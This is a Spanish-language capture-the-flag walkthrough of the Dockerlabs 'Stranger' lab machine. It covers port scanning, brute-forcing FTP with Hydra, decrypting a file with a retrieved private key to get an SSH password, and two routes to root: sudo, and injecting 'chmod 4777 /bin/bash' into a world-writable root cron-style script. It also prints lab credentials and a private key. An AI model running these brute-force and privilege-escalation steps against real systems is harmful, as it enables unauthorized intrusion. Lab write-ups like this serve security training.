Stranger es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Fácil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-06 15:12 CEST Initiating ARP Ping Scan at 15:12 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 15:12, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 15:12 Scanning 172.17.0.2 [65535 ports] Discovered open port 21/tcp on 172.17.0.2 Discovered open port 80/tcp on 172.17.0.2 Discovered open port 22/tcp on 172.17.0.2 Completed SYN Stealth Scan at 15:12, 1.00s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-05-06 15:12:43 CEST for 1s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p21,22,80 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-06 15:14 CEST Nmap scan report for 172.17.0.2 Host is up (0.000036s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f6:af:01:77:e8:fc:a4:95:85:6b:5c:9c:c7:c1:d3:98 (ECDSA) |_ 256 36:7e:d3:25:fa:59:38:8f:2e:21:f9:f0:28:a4:7e:44 (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: welcome |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: Host: my; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.87 seconds |
Lanzamos feroxbuster para ver que carpetas o paginas existen que tengan las extensiones php, html o txt
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.2 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, txt, html] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 11l 18w 231c http://172.17.0.2/ 200 GET 11l 18w 231c http://172.17.0.2/index.html 301 GET 9l 28w 310c http://172.17.0.2/strange => http://172.17.0.2/strange/ 200 GET 124l 261w 3040c http://172.17.0.2/strange/index.html 200 GET 1l 1w 123c http://172.17.0.2/strange/private.txt 200 GET 9l 25w 172c http://172.17.0.2/strange/secret.html |
Entramos en la web y nos encontramos con el siguiente index, así que por el momento ya tenemos a mwheeler como posible usuario.
Por otro lado, vamos al secret.html que hemos visto y nos da una pista de lo que tenemos que hacer, fuerza bruta al ftp con el usuario admin y una contraseña del diccionario rockyou
Así que nos ponemos manos a la obra.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
──(kali㉿kali)-[~] └─$ hydra -l admin -P smallrock 172.17.0.2 ftp -VI -f -t 64 Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-06 15:19:27 [DATA] max 64 tasks per 1 server, overall 64 tasks, 5000 login tries (l:1/p:5000), ~79 tries per task [DATA] attacking ftp://172.17.0.2:21/ [ATTEMPT] target 172.17.0.2 - login "admin" - pass "123456" - 1 of 5000 [child 0] (0/0) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "12345" - 2 of 5000 [child 1] (0/0) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "123456789" - 3 of 5000 [child 2] (0/0) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "password" - 4 of 5000 [child 3] (0/0) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "jackie" - 265 of 5014 [child 42] (0/14) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "spiderman" - 266 of 5014 [child 5] (0/14) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "christopher" - 267 of 5014 [child 19] (0/14) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "karina" - 268 of 5014 [child 20] (0/14) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "johnny" - 269 of 5014 [child 39] (0/14) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "hotmail" - 270 of 5014 [child 6] (0/14) [ATTEMPT] target 172.17.0.2 - login "admin" - pass "0123456789" - 271 of 5014 [child 28] (0/14) [21][ftp] host: 172.17.0.2 login: admin password: banana [STATUS] attack finished for 172.17.0.2 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-06 15:19:47 |
Con estas credenciales, nos logamos en el ftp y descargaremos el fichero pem que hay.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌──(kali㉿kali)-[~] └─$ ftp 172.17.0.2 Connected to 172.17.0.2. 220 Welcome to my FTP server Name (172.17.0.2:kali): admin 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||40054|) 150 Here comes the directory listing. -rwxr-xr-x 1 0 0 522 May 01 00:53 private_key.pem 226 Directory send OK. ftp> mget private_key.pem mget private_key.pem [anpqy?]? y 229 Entering Extended Passive Mode (|||40001|) 150 Opening BINARY mode data connection for private_key.pem (522 bytes). 100% |***********************************************************************| 522 6.72 MiB/s 00:00 ETA 226 Transfer complete. 522 bytes received in 00:00 (146.39 KiB/s) |
El contenido del fichero pem es el siguiente pero no nos valdrá para ssh ni nada a priori.
|
1 2 3 4 5 6 7 8 9 10 11 |
└─$ cat private_key.pem -----BEGIN PRIVATE KEY----- MIIBVQIBADANBgkqhkiG9w0BAQEFAASCAT8wggE7AgEAAkEA4/scrsX2G1QjCHdP B8DM4PKeGCvzmxHgrrO6OB6o+OxsWKi6t20tqEv9UEtDIT5SthFWT4QTc9gqfmFf xiSm3wIDAQABAkA6kC//CWU+Ae/55cQMZs96XXiVFv098Wq5FfwZHG8legIA0Qpz oW2UQkV7ksXXF6kX7swQy/zCFJiIwbwxo47RAiEA8ma+qMEX61qI99DhsEVRhcVD uo8edZeb/Sfg6b3cZscCIQDwxUSDi0BU77ZfqK3AwQwy7632wL7yJf76JdJspPFH KQIgWe4Yag9JSn3KNvZ95KGy/wgSepJCYKogqykyXkWcEV0CIQC1Pmpi85JL3d9V hy606R17wn0cQN/8fKnCOHJ8onWWcQIhAL5OKJjHADl0cgiv352WwIztGlbhKMuI ajmuxxKdJvFL -----END PRIVATE KEY----- |
Por ultimo nos descargaremos el fichero private.txt por si nos da otra pista, pero no parece legible
|
1 2 3 4 5 6 |
┌──(kali㉿kali)-[~] └─$ curl -s 172.17.0.2/strange/private.txt -o private.txt ┌──(kali㉿kali)-[~] └─$ cat private.txt `O��N�����f-�]�T��K.Q�a���mgu�3��i������ȉ����P�+F�8Q[ |
Entonces, con un pem y un txt, que se nos ocurre? quizás desencriptar? Bueno…
|
1 2 3 4 5 6 7 |
┌──(kali㉿kali)-[~/strange] └─$ openssl rsautl -decrypt -in private.txt -out privateOUT.txt -inkey private_key.pem The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead. ┌──(kali㉿kali)-[~/strange] └─$ cat privateOUT.txt demogorgon |
Y tenemos una posible contraseña, intentamos logarnos con mwheeler.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌──(kali㉿kali)-[~/strange] └─$ ssh mwheeler@172.17.0.2 mwheeler@172.17.0.2's password: Welcome to Ubuntu 24.04 LTS (GNU/Linux 5.18.0-kali5-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. mwheeler@d7a455afaddd:~$ |
Y estamos dentro, después de buscar y buscar, nos acordamos de la contraseña de admin el cual esta en el passwd.
|
1 2 3 4 5 6 7 8 9 10 |
mwheeler@d7a455afaddd:~$ cat /etc/passwd|grep sh$ root:x:0:0:root:/root:/bin/bash ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash mwheeler:x:1001:1001::/home/mwheeler:/bin/bash admin:x:1002:1002::/home/admin:/bin/sh mwheeler@d7a455afaddd:~$ su admin Password: admin@d7a455afaddd:/home/mwheeler$ |
Probamos por si tenemos algún privilegio en cuanto a binarios o scripts como algun usuario y vemos que finalmente podemos escalar a root!
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
admin@d7a455afaddd:/home/mwheeler$ sudo -l [sudo] password for admin: Matching Defaults entries for admin on d7a455afaddd: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User admin may run the following commands on d7a455afaddd: (ALL) ALL admin@d7a455afaddd:/home/mwheeler$ sudo su root@d7a455afaddd:/home/mwheeler# cd root@d7a455afaddd:~# ls flag.txt root@d7a455afaddd:~# cat flag.txt This is xxxxxxxxxxxxxxxxxxxxxxxxxxxxx |
Pero también encontramos lo siguiente:
|
1 2 3 4 5 6 |
mwheeler@8177c2246e98:~$ ps faux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 3.3 0.0 2800 1128 ? Ss 20:43 0:54 service vsftpd start && while true; do bash /usr/local/bin/backup.sh; done; tail -f /dev/null mwheeler@8177c2246e98:~$ ls -l /usr/local/bin/backup.sh -rwxrwxrwx 1 root root 60 May 6 20:55 /usr/local/bin/backup.sh |
Pues inyectamos código en el fichero /usr/local/bin/backup.sh que se esta ejecutando como sudo y lo dejamos así:
|
1 2 3 4 5 |
mwheeler@8177c2246e98:~$ cat /usr/local/bin/backup.sh #!/bin/bash echo "[+] CREANDO BACKUP" chmod 4777 /bin/bash |
Esperamos unos segundos y tenemos a /bin/bash con SUID con el que también podremos escalar por este lado.
|
1 2 3 4 5 6 7 |
mwheeler@8177c2246e98:~$ ls -l /bin/bash -rwsrwxrwx 1 root root 1446024 Mar 31 08:41 /bin/bash mwheeler@8177c2246e98:~$ bash -p bash-5.2# whoami root |
Y hasta aquí la maquina de Stranger de la plataforma Dockerlabs!
